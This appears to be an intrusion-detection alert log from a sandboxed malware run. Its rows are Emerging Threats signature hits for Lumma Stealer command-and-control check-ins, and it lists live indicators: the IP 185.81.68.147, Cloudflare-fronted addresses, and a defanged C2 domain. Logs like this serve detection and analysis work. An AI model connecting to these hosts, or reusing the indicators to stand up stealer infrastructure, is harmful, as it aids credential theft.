2024-12-14T14:57:08.381655+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50044	185.81.68.147	80	TCP
2024-12-14T14:57:10.755852+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50058	185.81.68.147	80	TCP
2024-12-14T14:57:13.771267+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50088	185.81.68.147	80	TCP
2024-12-14T14:57:15.650359+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50105	185.81.68.147	80	TCP
2024-12-14T14:57:17.343878+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50122	185.81.68.147	80	TCP
2024-12-14T14:57:19.080577+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50129	185.81.68.147	80	TCP
2024-12-14T14:57:20.865599+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50138	185.81.68.147	80	TCP
2024-12-14T14:57:21.271685+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50133	185.81.68.147	80	TCP
2024-12-14T14:57:21.272522+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50134	185.81.68.147	80	TCP
2024-12-14T14:57:21.272561+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50135	185.81.68.147	80	TCP
2024-12-14T14:57:21.272671+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50136	185.81.68.147	80	TCP
2024-12-14T14:57:21.518510+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50142	185.81.68.147	80	TCP
2024-12-14T14:57:21.518554+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50143	185.81.68.147	80	TCP
2024-12-14T14:57:21.519618+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50144	185.81.68.147	80	TCP
2024-12-14T14:57:21.538691+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50145	185.81.68.147	80	TCP
2024-12-14T14:57:22.707704+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50149	185.81.68.147	80	TCP
2024-12-14T14:57:24.582123+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50151	185.81.68.147	80	TCP
2024-12-14T14:57:27.526216+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50161	185.81.68.147	80	TCP
2024-12-14T14:57:29.503269+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50169	185.81.68.147	80	TCP
2024-12-14T14:57:31.293911+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50175	185.81.68.147	80	TCP
2024-12-14T14:57:33.226305+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50181	185.81.68.147	80	TCP
2024-12-14T14:57:35.006761+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50184	185.81.68.147	80	TCP
2024-12-14T14:57:36.895383+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50186	185.81.68.147	80	TCP
2024-12-14T14:57:38.819874+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50190	185.81.68.147	80	TCP
2024-12-14T14:57:40.847102+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50193	185.81.68.147	80	TCP
2024-12-14T14:57:42.743354+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50206	185.81.68.147	80	TCP
2024-12-14T14:57:44.610579+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50212	185.81.68.147	80	TCP
2024-12-14T14:57:46.639381+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50214	185.81.68.147	80	TCP
2024-12-14T14:57:48.607285+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50217	185.81.68.147	80	TCP
2024-12-14T14:57:50.552346+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50219	185.81.68.147	80	TCP
2024-12-14T14:57:52.318759+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50221	185.81.68.147	80	TCP
2024-12-14T14:57:54.320351+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50225	185.81.68.147	80	TCP
2024-12-14T14:57:56.254352+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50227	185.81.68.147	80	TCP
2024-12-14T14:57:58.148679+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50230	185.81.68.147	80	TCP
2024-12-14T14:58:00.085406+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50231	185.81.68.147	80	TCP
2024-12-14T14:58:01.995075+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50235	185.81.68.147	80	TCP
2024-12-14T14:58:03.868628+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50237	185.81.68.147	80	TCP
2024-12-14T14:58:05.745353+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50239	185.81.68.147	80	TCP
2024-12-14T14:58:07.823345+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50241	185.81.68.147	80	TCP
2024-12-14T14:58:09.571627+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50242	185.81.68.147	80	TCP
2024-12-14T14:58:11.505932+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50246	185.81.68.147	80	TCP
2024-12-14T14:58:13.301518+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50252	185.81.68.147	80	TCP
2024-12-14T14:58:15.274231+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50253	185.81.68.147	80	TCP
2024-12-14T14:58:17.192578+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50255	185.81.68.147	80	TCP
2024-12-14T14:58:18.922969+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50256	185.81.68.147	80	TCP
2024-12-14T14:58:20.778257+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50258	185.81.68.147	80	TCP
2024-12-14T14:58:22.696006+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50261	185.81.68.147	80	TCP
2024-12-14T14:58:24.407272+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50262	185.81.68.147	80	TCP
2024-12-14T14:58:26.342430+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50264	185.81.68.147	80	TCP
2024-12-14T14:58:28.176863+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50265	185.81.68.147	80	TCP
2024-12-14T14:58:30.103662+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50267	185.81.68.147	80	TCP
2024-12-14T14:58:32.059658+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50269	185.81.68.147	80	TCP
2024-12-14T14:58:33.792204+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50270	185.81.68.147	80	TCP
2024-12-14T14:58:35.704752+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50273	185.81.68.147	80	TCP
2024-12-14T14:58:37.547195+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50274	185.81.68.147	80	TCP
2024-12-14T14:58:39.480226+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50276	185.81.68.147	80	TCP
2024-12-14T14:58:41.716332+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50278	185.81.68.147	80	TCP
2024-12-14T14:58:43.711475+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50279	185.81.68.147	80	TCP
2024-12-14T14:58:45.678839+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50281	185.81.68.147	80	TCP
2024-12-14T14:58:47.551723+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50283	185.81.68.147	80	TCP
2024-12-14T14:58:49.457706+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50285	185.81.68.147	80	TCP
2024-12-14T14:58:51.315639+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50287	185.81.68.147	80	TCP
2024-12-14T14:58:53.245616+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50288	185.81.68.147	80	TCP
2024-12-14T14:58:55.298594+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50290	185.81.68.147	80	TCP
2024-12-14T14:58:57.293316+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50292	185.81.68.147	80	TCP
2024-12-14T14:58:59.207723+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50293	185.81.68.147	80	TCP
2024-12-14T14:59:01.210087+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50295	185.81.68.147	80	TCP
2024-12-14T14:59:03.044032+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50297	185.81.68.147	80	TCP
2024-12-14T14:59:04.930684+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50298	185.81.68.147	80	TCP
2024-12-14T14:59:07.971937+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50300	185.81.68.147	80	TCP
2024-12-14T14:59:09.946444+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50302	185.81.68.147	80	TCP
2024-12-14T14:59:11.829484+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50303	185.81.68.147	80	TCP
2024-12-14T14:59:13.511645+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50305	185.81.68.147	80	TCP
2024-12-14T14:59:15.304015+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50308	185.81.68.147	80	TCP
2024-12-14T14:59:17.056804+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50309	185.81.68.147	80	TCP
2024-12-14T14:59:18.930677+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50311	185.81.68.147	80	TCP
2024-12-14T14:59:20.844631+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50312	185.81.68.147	80	TCP
2024-12-14T14:59:22.761240+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50314	185.81.68.147	80	TCP
2024-12-14T14:59:24.651444+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50316	185.81.68.147	80	TCP
2024-12-14T14:59:26.524647+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50317	185.81.68.147	80	TCP
2024-12-14T14:59:28.448356+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50319	185.81.68.147	80	TCP
2024-12-14T14:59:30.241195+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50320	185.81.68.147	80	TCP
2024-12-14T14:59:32.104392+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50322	185.81.68.147	80	TCP
2024-12-14T14:59:34.020461+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50324	185.81.68.147	80	TCP
2024-12-14T14:59:35.742958+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50325	185.81.68.147	80	TCP
2024-12-14T14:59:37.727953+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50327	185.81.68.147	80	TCP
2024-12-14T14:59:39.620654+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50328	185.81.68.147	80	TCP
2024-12-14T14:59:41.514153+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50330	185.81.68.147	80	TCP
2024-12-14T14:59:43.227347+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50332	185.81.68.147	80	TCP
2024-12-14T14:59:45.180278+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50334	185.81.68.147	80	TCP
2024-12-14T14:59:47.437067+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50337	185.81.68.147	80	TCP
2024-12-14T14:59:49.311842+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50338	185.81.68.147	80	TCP
2024-12-14T14:59:51.105414+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50340	185.81.68.147	80	TCP
2024-12-14T14:59:52.858532+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50342	185.81.68.147	80	TCP
2024-12-14T14:59:54.772395+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50343	185.81.68.147	80	TCP
2024-12-14T14:59:56.686685+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50346	185.81.68.147	80	TCP
2024-12-14T14:59:58.680588+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50347	185.81.68.147	80	TCP
2024-12-14T15:00:00.597939+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50349	185.81.68.147	80	TCP
2024-12-14T15:00:02.469940+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50351	185.81.68.147	80	TCP
2024-12-14T15:00:04.373460+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50352	185.81.68.147	80	TCP
2024-12-14T15:00:06.276615+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50354	185.81.68.147	80	TCP
2024-12-14T15:00:08.270640+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50355	185.81.68.147	80	TCP
2024-12-14T15:00:10.204519+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50358	185.81.68.147	80	TCP
2024-12-14T15:00:12.077859+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50360	185.81.68.147	80	TCP
2024-12-14T15:00:13.971251+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50361	185.81.68.147	80	TCP
2024-12-14T15:00:15.844673+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50366	185.81.68.147	80	TCP
2024-12-14T15:00:17.839368+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50368	185.81.68.147	80	TCP
2024-12-14T15:00:19.798920+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50369	185.81.68.147	80	TCP
2024-12-14T15:00:21.586582+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50371	185.81.68.147	80	TCP
2024-12-14T15:00:23.318835+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50372	185.81.68.147	80	TCP
2024-12-14T15:00:25.272721+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50374	185.81.68.147	80	TCP
2024-12-14T15:00:27.206578+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50376	185.81.68.147	80	TCP
2024-12-14T15:00:29.018242+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50377	185.81.68.147	80	TCP
2024-12-14T15:00:30.963844+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50379	185.81.68.147	80	TCP
2024-12-14T15:00:33.069424+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50380	185.81.68.147	80	TCP
2024-12-14T15:00:34.982292+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50382	185.81.68.147	80	TCP
2024-12-14T15:00:36.917063+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50385	185.81.68.147	80	TCP
2024-12-14T15:00:38.770638+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50386	185.81.68.147	80	TCP
2024-12-14T15:00:40.543415+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50388	185.81.68.147	80	TCP
2024-12-14T15:00:42.437634+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50389	185.81.68.147	80	TCP
2024-12-14T15:00:44.512475+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50391	185.81.68.147	80	TCP
2024-12-14T15:00:46.305501+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50393	185.81.68.147	80	TCP
2024-12-14T15:00:48.320387+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50396	185.81.68.147	80	TCP
2024-12-14T15:00:50.214509+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50398	185.81.68.147	80	TCP
2024-12-14T15:00:51.968758+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50399	185.81.68.147	80	TCP
2024-12-14T15:00:53.861831+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50401	185.81.68.147	80	TCP
2024-12-14T15:00:55.936325+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50403	185.81.68.147	80	TCP
2024-12-14T15:00:57.748640+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50404	185.81.68.147	80	TCP
2024-12-14T15:00:59.641994+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50406	185.81.68.147	80	TCP
2024-12-14T15:01:01.635905+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50408	185.81.68.147	80	TCP
2024-12-14T15:01:03.589922+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50410	185.81.68.147	80	TCP
2024-12-14T15:01:05.813818+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50412	185.81.68.147	80	TCP
2024-12-14T15:01:07.678873+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50413	185.81.68.147	80	TCP
2024-12-14T15:01:09.673604+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50415	185.81.68.147	80	TCP
2024-12-14T15:01:11.587459+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50417	185.81.68.147	80	TCP
2024-12-14T15:01:13.461287+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50418	185.81.68.147	80	TCP
2024-12-14T15:01:15.396496+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50420	185.81.68.147	80	TCP
2024-12-14T15:01:17.300563+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50421	185.81.68.147	80	TCP
2024-12-14T15:01:19.184735+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50423	185.81.68.147	80	TCP
2024-12-14T15:01:20.937676+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50425	185.81.68.147	80	TCP
2024-12-14T15:01:22.852244+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50426	185.81.68.147	80	TCP
2024-12-14T15:01:24.745871+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50428	185.81.68.147	80	TCP
2024-12-14T15:01:26.702640+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50429	185.81.68.147	80	TCP
2024-12-14T15:01:28.472154+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50431	185.81.68.147	80	TCP
2024-12-14T15:01:30.164467+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50433	185.81.68.147	80	TCP
2024-12-14T15:01:32.130915+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50435	185.81.68.147	80	TCP
2024-12-14T15:01:34.072445+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50437	185.81.68.147	80	TCP
2024-12-14T15:01:35.950000+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50438	185.81.68.147	80	TCP
2024-12-14T15:01:37.766061+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50440	185.81.68.147	80	TCP
2024-12-14T15:01:39.640132+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50442	185.81.68.147	80	TCP
2024-12-14T15:01:41.673765+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50443	185.81.68.147	80	TCP
2024-12-14T15:01:43.567213+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50445	185.81.68.147	80	TCP
2024-12-14T15:01:45.460669+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50446	185.81.68.147	80	TCP
2024-12-14T15:01:47.193047+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50448	185.81.68.147	80	TCP
2024-12-14T15:01:49.077574+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50450	185.81.68.147	80	TCP
2024-12-14T15:01:50.960609+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50451	185.81.68.147	80	TCP
2024-12-14T15:01:52.854298+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50453	185.81.68.147	80	TCP
2024-12-14T15:01:54.747927+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50454	185.81.68.147	80	TCP
2024-12-14T15:01:56.640791+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50456	185.81.68.147	80	TCP
2024-12-14T15:01:58.313016+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50459	185.81.68.147	80	TCP
2024-12-14T15:02:00.351854+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50460	185.81.68.147	80	TCP
2024-12-14T15:02:02.081069+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50462	185.81.68.147	80	TCP
2024-12-14T15:02:04.135348+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50463	185.81.68.147	80	TCP
2024-12-14T15:02:06.133624+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50465	185.81.68.147	80	TCP
2024-12-14T15:02:07.842680+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50467	185.81.68.147	80	TCP
2024-12-14T15:02:09.887682+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50468	185.81.68.147	80	TCP
2024-12-14T15:02:11.891307+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50471	185.81.68.147	80	TCP
2024-12-14T15:02:13.825389+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50474	185.81.68.147	80	TCP
2024-12-14T15:02:15.729457+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50477	185.81.68.147	80	TCP
2024-12-14T15:02:17.572085+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50479	185.81.68.147	80	TCP
2024-12-14T15:02:19.667353+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50480	185.81.68.147	80	TCP
2024-12-14T15:02:21.571157+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50482	185.81.68.147	80	TCP
2024-12-14T15:02:23.554718+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50484	185.81.68.147	80	TCP
2024-12-14T15:02:25.569551+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50486	185.81.68.147	80	TCP
2024-12-14T15:02:27.624087+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50488	185.81.68.147	80	TCP
2024-12-14T15:02:29.518020+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50489	185.81.68.147	80	TCP
2024-12-14T15:02:31.290535+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50491	185.81.68.147	80	TCP
2024-12-14T15:02:33.302983+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50493	185.81.68.147	80	TCP
2024-12-14T15:02:35.208256+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50494	185.81.68.147	80	TCP
2024-12-14T15:02:37.170027+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50496	185.81.68.147	80	TCP
2024-12-14T15:02:38.962950+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50498	185.81.68.147	80	TCP
2024-12-14T15:02:40.815840+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50500	185.81.68.147	80	TCP
2024-12-14T15:02:42.709056+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50502	185.81.68.147	80	TCP
2024-12-14T15:02:44.683165+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50503	185.81.68.147	80	TCP
2024-12-14T15:02:46.575851+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50505	185.81.68.147	80	TCP
2024-12-14T15:02:48.489294+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50507	185.81.68.147	80	TCP
2024-12-14T15:02:50.382084+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50508	185.81.68.147	80	TCP
2024-12-14T15:02:52.155059+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50511	185.81.68.147	80	TCP
2024-12-14T15:02:54.058249+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50512	185.81.68.147	80	TCP
2024-12-14T15:02:55.809143+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50514	185.81.68.147	80	TCP
2024-12-14T15:02:57.774626+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50516	185.81.68.147	80	TCP
2024-12-14T15:02:59.768466+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50517	185.81.68.147	80	TCP
2024-12-14T15:03:01.824002+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50519	185.81.68.147	80	TCP
2024-12-14T15:03:03.533716+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50520	185.81.68.147	80	TCP
2024-12-14T15:03:05.427437+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50522	185.81.68.147	80	TCP
2024-12-14T15:03:07.240934+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50524	185.81.68.147	80	TCP
2024-12-14T15:03:08.973667+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50525	185.81.68.147	80	TCP
2024-12-14T15:03:10.830742+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50527	185.81.68.147	80	TCP
2024-12-14T15:03:12.558839+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50528	185.81.68.147	80	TCP
2024-12-14T15:03:14.492646+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50530	185.81.68.147	80	TCP
2024-12-14T15:03:16.385914+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50531	185.81.68.147	80	TCP
2024-12-14T15:03:18.269243+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50533	185.81.68.147	80	TCP
2024-12-14T15:03:20.196400+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50536	185.81.68.147	80	TCP
2024-12-14T15:03:22.146528+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50537	185.81.68.147	80	TCP
2024-12-14T15:03:23.860974+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50539	185.81.68.147	80	TCP
2024-12-14T15:03:25.730981+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50541	185.81.68.147	80	TCP
2024-12-14T15:03:27.664483+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50542	185.81.68.147	80	TCP
2024-12-14T15:03:29.416894+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50544	185.81.68.147	80	TCP
2024-12-14T15:03:31.330936+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50545	185.81.68.147	80	TCP
2024-12-14T15:03:33.043703+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50547	185.81.68.147	80	TCP
2024-12-14T15:03:34.958036+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50548	185.81.68.147	80	TCP
2024-12-14T15:03:36.700740+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50550	185.81.68.147	80	TCP
2024-12-14T15:03:38.635387+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50552	185.81.68.147	80	TCP
2024-12-14T15:03:40.538430+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50553	185.81.68.147	80	TCP
2024-12-14T15:03:43.591948+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50555	185.81.68.147	80	TCP
2024-12-14T15:03:45.475287+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50557	185.81.68.147	80	TCP
2024-12-14T15:03:47.348841+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50559	185.81.68.147	80	TCP
2024-12-14T15:03:49.281893+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50561	185.81.68.147	80	TCP
2024-12-14T15:03:51.014909+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50563	185.81.68.147	80	TCP
2024-12-14T15:03:52.747480+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50566	185.81.68.147	80	TCP
2024-12-14T15:03:54.621032+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50568	185.81.68.147	80	TCP
2024-12-14T15:03:56.474698+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50569	185.81.68.147	80	TCP
2024-12-14T15:03:58.328252+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50571	185.81.68.147	80	TCP
2024-12-14T15:04:00.303261+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50573	185.81.68.147	80	TCP
2024-12-14T15:04:02.015826+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50574	185.81.68.147	80	TCP
2024-12-14T15:04:03.728442+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50576	185.81.68.147	80	TCP
2024-12-14T15:04:05.642242+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50577	185.81.68.147	80	TCP
2024-12-14T15:04:07.696294+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50579	185.81.68.147	80	TCP
2024-12-14T15:04:09.399329+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50580	185.81.68.147	80	TCP
2024-12-14T15:04:11.131392+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50582	185.81.68.147	80	TCP
2024-12-14T15:04:12.846413+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50583	185.81.68.147	80	TCP
2024-12-14T15:04:16.864066+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50590	185.81.68.147	80	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:56:54.651643+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49962	104.21.79.7	443	TCP
2024-12-14T14:57:03.275269+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50009	104.21.35.43	443	TCP
2024-12-14T14:57:58.960874+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50229	104.21.35.43	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:56:54.651643+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49962	104.21.79.7	443	TCP
2024-12-14T14:57:03.275269+0100	2049836	1	A Network Trojan was detected	192.168.2.5	50009	104.21.35.43	443	TCP
2024-12-14T14:57:58.960874+0100	2049836	1	A Network Trojan was detected	192.168.2.5	50229	104.21.35.43	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (fightlsoser .click in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:57:02.234825+0100	2058160	1	Domain Observed Used for C2 Detected	192.168.2.5	50009	104.21.35.43	443	TCP
2024-12-14T14:57:58.223164+0100	2058160	1	Domain Observed Used for C2 Detected	192.168.2.5	50229	104.21.35.43	443	TCP

ET MALWARE RedLine Stealer - CheckConnect Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
